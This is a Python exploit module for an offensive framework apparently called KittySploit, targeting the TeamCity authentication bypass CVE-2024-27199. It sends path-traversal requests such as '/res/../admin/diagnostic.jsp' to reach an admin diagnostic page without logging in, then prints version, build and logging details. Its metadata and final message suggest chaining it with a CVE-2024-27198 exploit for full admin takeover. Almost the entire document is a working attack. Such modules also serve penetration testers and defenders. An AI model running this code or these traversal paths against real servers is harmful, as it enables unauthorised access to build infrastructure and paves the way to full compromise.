TeamCity Path Traversal Auth Bypass (CVE-2024-27199)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JetBrains TeamCity path traversal auth bypass (CVE-2024-27199)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TeamCity Path Traversal Auth Bypass (CVE-2024-27199)',
        'description': (
            'Exploits CVE-2024-27199 in JetBrains TeamCity: path traversal to '
            '/admin/diagnostic.jsp exposes debug logging and limited admin actions '
            'without authentication.'
        ),
        'author': ['KittySploit Team', 'Rapid7'],
        'cve': ['CVE-2024-27199'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-27199',
        ],
        'tags': ['teamcity', 'jetbrains', 'auth-bypass', 'traversal', 'kev'],
        'agent': {
            'risk': 'high',
            'effects': ['active_exploitation', 'credential_access'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2024_27199_detect',
                    'exploits/multi/http/teamcity_cve_2024_27198_auth_bypass_rce',
                ],
            },
        },
    }

    port = OptPort(8111, 'TeamCity HTTP port', required=False)
    ssl = OptBool(False, 'Use HTTPS', required=False)

    _PATHS = (
        '/res/../admin/diagnostic.jsp',
        '/.well-known/acme-challenge/../../admin/diagnostic.jsp',
        '/update/../admin/diagnostic.jsp',
    )

    def _diagnostic(self) -> tuple[bool, str, str]:
        for path in self._PATHS:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ''
            if all(m in body for m in ('Debug Logging', 'CPU & Memory Usage')):
                return True, path, body
        return False, '', ''

    def check(self):
        ok, path, _ = self._diagnostic()
        if ok:
            return {
                'vulnerable': True,
                'reason': f'Admin diagnostic page accessible via {path}',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Path traversal to diagnostic.jsp failed', 'confidence': 'medium'}

    def run(self):
        ok, path, body = self._diagnostic()
        if not ok:
            print_error('CVE-2024-27199 not confirmed')
            return False
        print_success(f'Unauthenticated admin diagnostic at {path}')
        for line in body.splitlines()[:30]:
            if any(k in line for k in ('Version', 'Build', 'Memory', 'CPU', 'Logging')):
                print_status(line.strip()[:120])
        print_status('Chain with CVE-2024-27198 exploit for full admin creation')
        return True